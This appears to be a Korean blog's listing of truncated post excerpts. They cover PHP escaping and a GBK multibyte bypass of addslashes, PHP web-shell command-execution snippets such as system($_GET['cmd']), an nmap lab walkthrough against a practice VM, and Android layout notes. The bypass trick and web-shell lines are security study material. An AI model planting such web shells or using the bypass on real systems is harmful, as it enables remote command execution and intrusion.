escape_string(string); real_escape_string(string); mysql_real_escape_string(string); → ' " \ \x00 \x1a(EOF) \n \r 에 대해서 이스케이프를 추가한다. addslashes(string) → ' " \ \x00 에 대해서 이스케이프를 추가한다. magic_quotes_gpc → GET, POST, COOKIE에 자동으로 addslashes()를 적용해준다. 대표적인 우회기법으로는 MultiByte Encoding이 있는데, 전제조건으로 GBK인코딩이 되어있거나, EUC-KR을 UTF-8로 인코딩하는 내용이 포함되어 있어야 한다. 원리는 %bf%27을 하게되면 %27이 %5c%27이 되는데, 이 떄 %bf%5c가 결합되면서..
주로 웹쉘을 작성할 때 여러가지 방법으로 사용된다. 시스템 명령어를 실행하는 함수. system($_GET['cmd']); passthru($_GET['cmd']); echo shell_exec($_GET['cmd']); ← 얘는 실습에서 실패했다. $arr = Array(); exec($_GET['cmd'], $arr); print_r($arr); $handle = popen($_GET['cmd'], 'r'); $read = fread($handle, 20960; echo $read; pclose($handle); $des = array( 0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'w')); $proc = @proc_op..
해당 실습은 drunk_admin_hacking_challenge 가상머신을 통해 진행했다. * 이 파일은 D:\Practice에 있는데 후에 드라이브에 올릴 예정. nmap을 통해 65535개의 port를 전부 스캔하면 2개의 포트가 열려있는 것이 확인된다. ( nmap -p- -v 192.168.72.131 ) → 다소 시간이 걸린다. -A 옵션을 사용해 해당 포트들을 자세히 스캐닝 해보겠다. 자세히 조회해본 결과 8880 포트에서 사용하는 SERVICE는 http이고 Apache httpd 2.2.16 (Debian) Version을 사용하는 것으로 확인되었다. 한마디로 웹서버가 사용하는 포트라는 말이다. 그러면 192.168.72.131:8880/ 을 입력하면 해당 웹서버에 접속할 수 있다는 뜻이..
모든 View는 이런식으로 최상위 View부터 상속을 받는 형태로 이루어져 있다. 공통된 속성은 재활용 하겠다는 뜻이다. 최상위 뷰속성 → 최상위 뷰속성이란 모든 View(약 82개) 가 가지는 속성이다. id = "@+id/_______" * 뷰에대한 유일한 이름이다. * 백엔드(JAVA)에서 findViewById(R.id.________) 으로 참조가 가능하다. background = "@drawable/_________" * "#ff0f01" 와 같이 색상을 설정할 수 있다. ( 색깔은 3, 4, 6, 8 로 설정 가능하다. ) padding = "100dp" * margin과 차이점을 명확히 기억하자. * margin은 영역 외부, padding은 영역 내부 공간이다. TextView의 속성 (..
약간 자바의 GridLayout과 유사한 방식이다. 사실 Table Layout과 Table Row는 Linear Layout을 상속받아서 받아서 만들어졌다. ( 좀 더 표를 처리하기위한 편리한 속성이 추가되었다. ) 그래서 당연히 Table Layout + Table Row 로 만들어진 xml 코드는, Linear Layout으로 표현이 가능하다. 이 Layout의 중요한 특징은, 자식 뷰는 특정한 폭(layout_width)를 가질수 없으며 폭(Width)는 항상 MATCH_PARENT 입니다. 하지만 높이(layout_height)의 속성은 정의가 가능합니다. 기본값은 WRAP_CONTENT로 되어 있습니다. TableRow의 높이(height)는 항상 WRAP_CONTENT를 가집니다 ------..
Android에서 가장 자주 사용되는 Layout중 하나로 View(Widget) 간의 위치를 통해 View 또는 View Group을 배치하는 Layout이다. 항상 배치할 때 기준 View와의 관계를 통해 배치하기 때문에 기준을 정하는게 중요한 것 같다 ! Layout Params android:gravity → Relative Layout의 자식 View들의 중력 방향을 결정한다. ( 자신의 View에서 포함하고 있는 데이터를 정렬 ) android:layout_gravity → 자신의 부모의 영역에서 자기 자신의 중력 방향을 결정한다. android:ignoreGravity → gravity 설정 상태에서 특정 View에 대해 gravity 속성을 무시한다. < 자식View 와 자식View 사이의..